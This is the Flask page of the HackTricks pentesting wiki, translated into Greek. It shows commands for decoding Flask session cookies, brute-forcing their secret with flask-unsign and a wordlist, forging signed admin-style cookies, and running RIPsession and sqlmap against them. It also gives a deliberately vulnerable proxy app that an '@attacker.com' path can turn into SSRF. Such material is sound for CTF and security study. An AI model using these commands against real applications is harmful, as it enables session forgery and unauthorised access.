Flask
Reading time: 4 minutes
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Πιθανώς αν παίζετε ένα CTF, μια εφαρμογή Flask θα σχετίζεται με SSTI.
Cookies
Το προεπιλεγμένο όνομα συνεδρίας cookie είναι session
.
Decoder
Online αποκωδικοποιητής cookies Flask: https://www.kirsle.net/wizards/flask-session.cgi
Manual
Πάρτε το πρώτο μέρος του cookie μέχρι το πρώτο σημείο και αποκωδικοποιήστε το σε Base64.
echo "ImhlbGxvIg" | base64 -d
Το cookie υπογράφεται επίσης χρησιμοποιώντας έναν κωδικό πρόσβασης
Flask-Unsign
Εργαλείο γραμμής εντολών για την ανάκτηση, αποκωδικοποίηση, brute-force και δημιουργία session cookies μιας εφαρμογής Flask μαντεύοντας μυστικά κλειδιά.
pip3 install flask-unsign
Αποκωδικοποίηση Cookie
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
Brute Force
flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval
Υπογραφή
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
Υπογραφή χρησιμοποιώντας παλαιές (παλιές εκδόσεις)
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy
RIPsession
Εργαλείο γραμμής εντολών για brute-force ιστοσελίδων χρησιμοποιώντας cookies που έχουν κατασκευαστεί με flask-unsign.
ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt
SQLi σε cookie συνεδρίας Flask με SQLmap
Αυτό το παράδειγμα χρησιμοποιεί την επιλογή sqlmap eval
για να υπογράψει αυτόματα τα payloads του sqlmap για το flask χρησιμοποιώντας ένα γνωστό μυστικό.
Proxy Flask σε SSRF
Σε αυτή την αναφορά εξηγείται πώς το Flask επιτρέπει ένα αίτημα που ξεκινά με τον χαρακτήρα "@":
GET @/ HTTP/1.1
Host: target.com
Connection: close
Ποιο από τα παρακάτω σενάρια:
from flask import Flask
from requests import get
app = Flask('__main__')
SITE_NAME = 'https://google.com/'
@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def proxy(path):
return get(f'{SITE_NAME}{path}').content
app.run(host='0.0.0.0', port=8080)
Θα μπορούσε να επιτρέψει την εισαγωγή κάτι όπως "@attacker.com" προκειμένου να προκαλέσει ένα SSRF.
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.